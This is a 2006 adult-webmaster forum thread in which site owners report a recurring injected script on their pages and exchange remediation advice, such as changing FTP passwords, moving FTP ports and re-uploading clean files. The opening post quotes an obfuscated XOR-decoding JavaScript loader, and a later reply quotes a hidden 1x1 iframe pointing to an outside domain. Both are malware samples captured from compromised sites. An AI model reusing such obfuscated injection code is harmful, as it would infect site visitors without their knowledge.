Virus alert on new sologirl site - GoFuckYourself.com

maxxxxx · 07-06-2006, 10:45 AM

Checked out a new sologirl site which gave me a virus alert: "signature of js/shellcode virus found" which seems to be some kind of trojan. Contacted the owner who said that he wasn't aware of any javascript on his site. However, this piece of javascript was removed from his site minutes after I had contacted him:

<script language="JavaScript">
e = '0x00' + '29';str1 = "%92%CA%C1%DC%B6%DB%DA%D1%C2%CD%95%88%DC%C1%DB%C1% C8%C1%C2%C1%DA%D1%90%CE%C1%CA%CA%CD%C4%88%94%92%C1 %CC%D8%C9%C5%CD%B6%DB%D8%CB%95%88%CE%DA%DA%C6%90%8 7%87%CA%C4%DC%85%CB%C7%DD%C4%DA%CD%D8%84%CB%C7%C5% 87%CA%C4%DC%9B%87%88%B6%DF%C1%CA%DA%CE%95%99%B6%CE %CD%C1%CF%CE%DA%95%99%94%92%87%C1%CC%D8%C9%C5%CD%9 4%92%87%CA%C1%DC%94%B6%A5%A0";str=tmp='';for(i=0;i <str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCha rCode((tmp.charCodeAt(0)^e)-127);}document.write(str);
</script>

Can anyone do something with this? Any idea what this js/shellcode virus is? Just trying to find out what's going on.

Huskie · 07-06-2006, 10:46 AM

Thats shitty

Quickdraw · 07-06-2006, 10:57 AM

Another one that bvelongs to dnv-counter--
<div style="visibility

dden"><i frame src="ht://dnv- counter.com/dnv3/" width=1 height=1></iframe></div>

maxxxxx · 07-06-2006, 10:59 AM

Thanks - any problems with that? Or was the virus alert something else?

Quickdraw · 07-06-2006, 11:05 AM

oh yeah, it's trouble for sure. There are a lot of threads about this. Hacking 'open' scripts and inserting the code(s) into templates, etc..

Shoehorn! · 07-06-2006, 11:07 AM

What site did you find that on?

maxxxxx · 07-06-2006, 11:31 AM

Quote:

Originally Posted by Shoehorn!

What site did you find that on?

I leave the site away. It's gone now, so I can't prove it anyway that it was ever there.

maxxxxx · 07-06-2006, 11:34 AM

Quote:

Originally Posted by Quickdraw

oh yeah, it's trouble for sure. There are a lot of threads about this. Hacking 'open' scripts and inserting the code(s) into templates, etc..

Quickdraw, you are the expert - can you point me to any of those threads or other reading stuff about it? Much appreciated - thanks!

PornAddict · 07-06-2006, 11:42 AM

I've had that script installed on a couple of my sites and have been trying to track down how it's getting done.

The only active scripts I have installed on my server are those from NATS, CCbill and PayCom. I've contacted each, along with my host and no one can point me to what's happening.

Anyone got any info?

- PornAddict

maxxxxx · 07-06-2006, 11:52 AM

Quote:

Originally Posted by PornAddict

I've had that script installed on a couple of my sites and have been trying to track down how it's getting done.

The only active scripts I have installed on my server are those from NATS, CCbill and PayCom. I've contacted each, along with my host and no one can point me to what's happening.

Anyone got any info?

- PornAddict

You mean it got added to your sites from outside? Server hacked? Wow...

Quickdraw · 07-06-2006, 11:56 AM

http://www.google.com/search?hl=en&l...dnv-counter%22

As GFY search is just about worthless, this google link is the best I can do.

Yes, I believe for the most part, that these scripts are part of a hack and not the webmaster doing it on purpose. There are several webmasters on this board that have been hit.

There was a poster the other day that had a bit of info n this company, but I don't remember the username, or the post.. so maybe the bump will let them find you

djroof · 07-06-2006, 11:58 AM

I have the same on my site juicydevils.com yes this is huge shitty... u delete it and after time is there again...

PornAddict · 07-06-2006, 11:58 AM

Quote:

Originally Posted by maxxxxx

You mean it got added to your sites from outside? Server hacked? Wow...

That's exactly what I'm talking about!

It just seems like the script is added every once in a while. So far, 3 times in the past 2 months I've found it on the same 2-3 sites and no one can seem to find the problem. I always get the standard, "it's not us... it must be someone else's scripts" reply.

I wish there were something more I can do but I'm screwed at the moment.

- PornAddict

Quickdraw · 07-06-2006, 11:59 AM

Quote:

Originally Posted by djroof

I have the same on my site juicydevils.com yes this is huge shitty... u delete it and after time is there again...

Check your scripts' template files, if you have any.

PornAddict · 07-06-2006, 12:10 PM

Quote:

Originally Posted by Quickdraw

Check your scripts' template files, if you have any.

Oh... another thing to point out is that they only seem to show up on the index files, no tour or join pages. The index files aren't templates, either... they're done manually and uploaded via ftp. So somehow, they can add this bit of code into my pages once they're uploaded.

- PornAddict

V_RocKs · 07-06-2006, 12:20 PM

Quote:

Originally Posted by PornAddict

Oh... another thing to point out is that they only seem to show up on the index files, no tour or join pages. The index files aren't templates, either... they're done manually and uploaded via ftp. So somehow, they can add this bit of code into my pages once they're uploaded.

- PornAddict

Usually they upload their own httpd... then run it... so it is added to the index file on the fly... the code won't actually be in the index file.

Ray@TastyDollars · 07-06-2006, 12:26 PM

We had that code on two of our TGP's. ICQ me if you want details, 161 375 873

thx,
Ray

frank7799 · 07-06-2006, 12:27 PM

Had the same problem some days ago and discussed it on another board. I remember that the same script problem was brought to GFY because I posted in that thread.

maxxxxx · 07-06-2006, 12:38 PM

Quote:

Originally Posted by PornAddict

That's exactly what I'm talking about!

It just seems like the script is added every once in a while. So far, 3 times in the past 2 months I've found it on the same 2-3 sites and no one can seem to find the problem. I always get the standard, "it's not us... it must be someone else's scripts" reply.

I wish there were something more I can do but I'm screwed at the moment.

- PornAddict

PornAddict, what did your hosting company say?

maxxxxx · 07-06-2006, 12:41 PM

Found it:

http://www.gfy.com/showthread.php?t=...ighlight=virus

PornAddict · 07-06-2006, 12:48 PM

Quote:

Originally Posted by maxxxxx

PornAddict, what did your hosting company say?

When I contacted them, I told them that I think my server has been hacked and if they can look around to see what happened. I told them about how the javascript was being installed on certain files.

The tech did a search and said that there was no actual hack but to check my scripts. That was it... I don't know which scripts or anything. All I do know is that I currently only have 4 scripts running on that server (ccbill, paycom, pennywize and nats).

It seems like they keep attacking the same 3 sites. What's weird is that the sites that are targeted are ones that were set up via paycom. I then contacted paycom because I remembered seeing a post on here about paycom's info being compromised and their scripts left open. It seemed like the case was cracked. I had paycom check around and nothing in their end (on my server) seemed to be modified, but they uploaded a fresh script regardless just to see. It has then happened again.

So, that's kinda where I am now. Still searching for an answer and a solution on how to prevent this from happening.

I don't know what the script does, but I know my mcafee picks it up and deletes it immediately... however, I don't know what it's doing to those without virus protection.

The way I normally catch it is when I ftp, I see the dates on which certain files were modified. There's no reason to ever update my index file (since it's just a standard warning / entrance page) so when I see newer dates, I know something is up.

- PornAddict

frank7799 · 07-06-2006, 01:00 PM

I had the hosting company looking for attacks, too. They didn´t find any. I don´t run scripts except a tgp script, but that site wasn´t involved in the attack.

The only way to get it on my server was using ftp, I think. So I changed logins and passwords and limited ftp to a single account. Until now I didn´t get the script again.

E$_manager · 07-06-2006, 01:01 PM

that is so nasty!

CaptainHowdy · 07-06-2006, 01:04 PM

Fuckers

!!

SmokeyTheBear · 07-06-2006, 01:06 PM

theres quite a few different script being hit , one of the noteable is wordpress , and once a site is sompromised you might as well consider the whole server compromised.. if you are affected and your host cant do anything or wont hit me up on icq.

DutchTeenCash · 07-06-2006, 01:09 PM

yeah fucking js script had it too - hope youll solve it soon

maxxxxx · 07-06-2006, 01:15 PM

There's more on http://www.******************/index.php?showtopic=2559
Isn't it possible to take that dnv-counter.com domain out?

V_RocKs · 07-06-2006, 04:02 PM

Quote:

Originally Posted by PornAddict

When I contacted them, I told them that I think my server has been hacked and if they can look around to see what happened. I told them about how the javascript was being installed on certain files.

The tech did a search and said that there was no actual hack but to check my scripts. That was it... I don't know which scripts or anything. All I do know is that I currently only have 4 scripts running on that server (ccbill, paycom, pennywize and nats).

It seems like they keep attacking the same 3 sites. What's weird is that the sites that are targeted are ones that were set up via paycom. I then contacted paycom because I remembered seeing a post on here about paycom's info being compromised and their scripts left open. It seemed like the case was cracked. I had paycom check around and nothing in their end (on my server) seemed to be modified, but they uploaded a fresh script regardless just to see. It has then happened again.

So, that's kinda where I am now. Still searching for an answer and a solution on how to prevent this from happening.

I don't know what the script does, but I know my mcafee picks it up and deletes it immediately... however, I don't know what it's doing to those without virus protection.

The way I normally catch it is when I ftp, I see the dates on which certain files were modified. There's no reason to ever update my index file (since it's just a standard warning / entrance page) so when I see newer dates, I know something is up.

- PornAddict

ICQ me and I can check it out for you. 1611-24816

NastyNed · 07-06-2006, 04:26 PM

First, I want to thank Maxxxxx for protecting my identity... it was on one of my sites that he found this shit. I talked to my host... and he didn't want to implicate anybody... but he said that when CC Bill's system was breached a while back (and no one's blaming CC Bill for any of this - it's the asshole hacks who perpetrated it), that this problem started occurring on about 95% of their sites... possibly from the fact that CC Bill has FTP access to all of our servers. This shit keeps coming back because the dickheads keep loading it onto your server every 2 or 3 weeks, or so. His recommendation was check your files on your local host... clean them out... and make a habit of uploading your clean files every day... and also...

...CHANGE YOUR FTP PASSWORD!!!

When you put up a new site with ANY webmerchant, change your/their password until you get through the approval process... once you get approved... change it back.

That should stop these pricks right in their tracks.
(until they figure out something new)

Make sense?

V_RocKs · 07-07-2006, 01:28 PM

Also install FTP on a non standard port... They come in via scripts and it is all automated... Also, don't give your processor FTP access. Or allow them access on a seperate account you created just for them and then disable it after the initial setup.

chase · 07-07-2006, 02:00 PM

Quote:

Originally Posted by SmokeyTheBear

theres quite a few different script being hit , one of the noteable is wordpress , and once a site is sompromised you might as well consider the whole server compromised.. if you are affected and your host cant do anything or wont hit me up on icq.

what if your wordpress install is in a member's area?

07-06-2006, 10:45 AM	#1
maxxxxx Confirmed User Join Date: Jul 2003 Posts: 646	Virus alert on new sologirl site Checked out a new sologirl site which gave me a virus alert: "signature of js/shellcode virus found" which seems to be some kind of trojan. Contacted the owner who said that he wasn't aware of any javascript on his site. However, this piece of javascript was removed from his site minutes after I had contacted him: <script language="JavaScript"> e = '0x00' + '29';str1 = "%92%CA%C1%DC%B6%DB%DA%D1%C2%CD%95%88%DC%C1%DB%C1% C8%C1%C2%C1%DA%D1%90%CE%C1%CA%CA%CD%C4%88%94%92%C1 %CC%D8%C9%C5%CD%B6%DB%D8%CB%95%88%CE%DA%DA%C6%90%8 7%87%CA%C4%DC%85%CB%C7%DD%C4%DA%CD%D8%84%CB%C7%C5% 87%CA%C4%DC%9B%87%88%B6%DF%C1%CA%DA%CE%95%99%B6%CE %CD%C1%CF%CE%DA%95%99%94%92%87%C1%CC%D8%C9%C5%CD%9 4%92%87%CA%C1%DC%94%B6%A5%A0";str=tmp='';for(i=0;i <str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCha rCode((tmp.charCodeAt(0)^e)-127);}document.write(str); </script> Can anyone do something with this? Any idea what this js/shellcode virus is? Just trying to find out what's going on. __________________ **Teen Harbour** - Home of Little Caprice ------------------------------------------------------------------- In a perfect world... spammers would get caught, go to jail, and share a cell with many men who have enlarged their penisses, taken Viagra and are looking for a new relationship. Last edited by maxxxxx; 07-06-2006 at 10:46 AM..

07-06-2006, 10:57 AM	#3
Quickdraw Confirmed User Join Date: Mar 2004 Location: → → → Posts: 1,717	Another one that bvelongs to dnv-counter-- <div style="visibilitydden"><i frame src="ht://dnv- counter.com/dnv3/" width=1 height=1></iframe></div>

07-06-2006, 10:59 AM	#4
maxxxxx Confirmed User Join Date: Jul 2003 Posts: 646	Thanks - any problems with that? Or was the virus alert something else? __________________ **Teen Harbour** - Home of Little Caprice ------------------------------------------------------------------- In a perfect world... spammers would get caught, go to jail, and share a cell with many men who have enlarged their penisses, taken Viagra and are looking for a new relationship.

07-06-2006, 11:07 AM	#6
Shoehorn! Die With Your Boots On Join Date: Oct 2003 Location: Hawaii Posts: 22,872	What site did you find that on? __________________

07-06-2006, 12:26 PM	#17
Ray@TastyDollars www.TastyDollars.com Join Date: May 2002 Location: Montreal Posts: 6,797	We had that code on two of our TGP's. ICQ me if you want details, 161 375 873 thx, Ray __________________ The nets best interracial and cuckold site The nets hottest teen site ICQ me: 161 375 873

07-06-2006, 10:46 AM	#2
Huskie Confirmed User Join Date: Apr 2006 Posts: 182	Thats shitty

07-06-2006, 11:05 AM	#5
Quickdraw Confirmed User Join Date: Mar 2004 Location: → → → Posts: 1,717	oh yeah, it's trouble for sure. There are a lot of threads about this. Hacking 'open' scripts and inserting the code(s) into templates, etc..

07-06-2006, 11:42 AM	#9
PornAddict Confirmed User Join Date: Feb 2002 Location: New Jersey Posts: 1,401	I've had that script installed on a couple of my sites and have been trying to track down how it's getting done. The only active scripts I have installed on my server are those from NATS, CCbill and PayCom. I've contacted each, along with my host and no one can point me to what's happening. Anyone got any info? - PornAddict

07-06-2006, 11:56 AM	#11
Quickdraw Confirmed User Join Date: Mar 2004 Location: → → → Posts: 1,717	http://www.google.com/search?hl=en&l...dnv-counter%22 As GFY search is just about worthless, this google link is the best I can do. Yes, I believe for the most part, that these scripts are part of a hack and not the webmaster doing it on purpose. There are several webmasters on this board that have been hit. There was a poster the other day that had a bit of info n this company, but I don't remember the username, or the post.. so maybe the bump will let them find you

07-06-2006, 11:58 AM	#12
djroof JuicyDevils.gr Owner Industry Role: Join Date: Jan 2004 Location: Greece Posts: 25,415	I have the same on my site juicydevils.com yes this is huge shitty... u delete it and after time is there again...

07-06-2006, 12:27 PM	#18
frank7799 Confirmed User Industry Role: Join Date: Jul 2003 Location: In the middle of nowhere... Posts: 1,974	Had the same problem some days ago and discussed it on another board. I remember that the same script problem was brought to GFY because I posted in that thread.

07-06-2006, 12:41 PM	#20
maxxxxx Confirmed User Join Date: Jul 2003 Posts: 646	Found it: http://www.gfy.com/showthread.php?t=...ighlight=virus __________________ **Teen Harbour** - Home of Little Caprice ------------------------------------------------------------------- In a perfect world... spammers would get caught, go to jail, and share a cell with many men who have enlarged their penisses, taken Viagra and are looking for a new relationship.

07-06-2006, 01:00 PM	#22
frank7799 Confirmed User Industry Role: Join Date: Jul 2003 Location: In the middle of nowhere... Posts: 1,974	I had the hosting company looking for attacks, too. They didn´t find any. I don´t run scripts except a tgp script, but that site wasn´t involved in the attack. The only way to get it on my server was using ftp, I think. So I changed logins and passwords and limited ftp to a single account. Until now I didn´t get the script again.

07-06-2006, 01:01 PM	#23
E$_manager Too lazy to set a custom title Join Date: Apr 2006 Location: pink adult dreams Posts: 13,557	that is so nasty! __________________ Enjoy more sales with EnjoyBucks! Homemade: Asian : Ebony : GFs : Voyeur : Nudist : Public : 3D

07-06-2006, 01:04 PM	#24
CaptainHowdy Too lazy to set a custom title Industry Role: Join Date: Dec 2004 Location: Happy in the dark. Posts: 93,648	Fuckers !! __________________ Vacares - Web Hosting, Domains, O365, Security & More - Paxum and BTC Accepted Windows VPS now available Great for TSS, Nifty Stats, remote work, virtual assistants, etc.

07-06-2006, 01:06 PM	#25
SmokeyTheBear ►SouthOfHeaven Join Date: Jun 2004 Location: PlanetEarth MyBoardRank: GerbilMaster My-Penis-Size: extralarge MyWeapon: Computer Posts: 28,609	theres quite a few different script being hit , one of the noteable is wordpress , and once a site is sompromised you might as well consider the whole server compromised.. if you are affected and your host cant do anything or wont hit me up on icq. __________________ hatisblack at yahoo.com

07-06-2006, 01:09 PM	#26
DutchTeenCash I like Dutch Girls Join Date: Feb 2003 Location: dutchteencash.com Posts: 21,684	yeah fucking js script had it too - hope youll solve it soon __________________ ICQ 16 91 547 - SKYPE dutchteencash bob AT dutchteencash DOT com ... did you see our newest Sweet Natural Girl Priscilla (18)?

07-06-2006, 01:15 PM	#27
maxxxxx Confirmed User Join Date: Jul 2003 Posts: 646	There's more on http://www.****************/index.php?showtopic=2559 Isn't it possible to take that dnv-counter.com domain out? __________________ Teen Harbour** - Home of Little Caprice ------------------------------------------------------------------- In a perfect world... spammers would get caught, go to jail, and share a cell with many men who have enlarged their penisses, taken Viagra and are looking for a new relationship.

07-06-2006, 04:26 PM	#29
NastyNed Confirmed User Join Date: Feb 2005 Location: ICQ: 326073684 AIM: NastyNedsPics YM: n3media MSN: [email protected] Posts: 119	First, I want to thank Maxxxxx for protecting my identity... it was on one of my sites that he found this shit. I talked to my host... and he didn't want to implicate anybody... but he said that when CC Bill's system was breached a while back (and no one's blaming CC Bill for any of this - it's the asshole hacks who perpetrated it), that this problem started occurring on about 95% of their sites... possibly from the fact that CC Bill has FTP access to all of our servers. This shit keeps coming back because the dickheads keep loading it onto your server every 2 or 3 weeks, or so. His recommendation was check your files on your local host... clean them out... and make a habit of uploading your clean files every day... and also... ...CHANGE YOUR FTP PASSWORD!!! When you put up a new site with ANY webmerchant, change your/their password until you get through the approval process... once you get approved... change it back. That should stop these pricks right in their tracks. (until they figure out something new) Make sense? __________________ EASY Bonus Tiers: Last edited by NastyNed; 07-06-2006 at 04:27 PM..

07-07-2006, 01:28 PM	#30
V_RocKs Damn Right I Kiss Ass! Industry Role: Join Date: Dec 2003 Location: Cowtown, USA Posts: 32,421	Also install FTP on a non standard port... They come in via scripts and it is all automated... Also, don't give your processor FTP access. Or allow them access on a seperate account you created just for them and then disable it after the initial setup.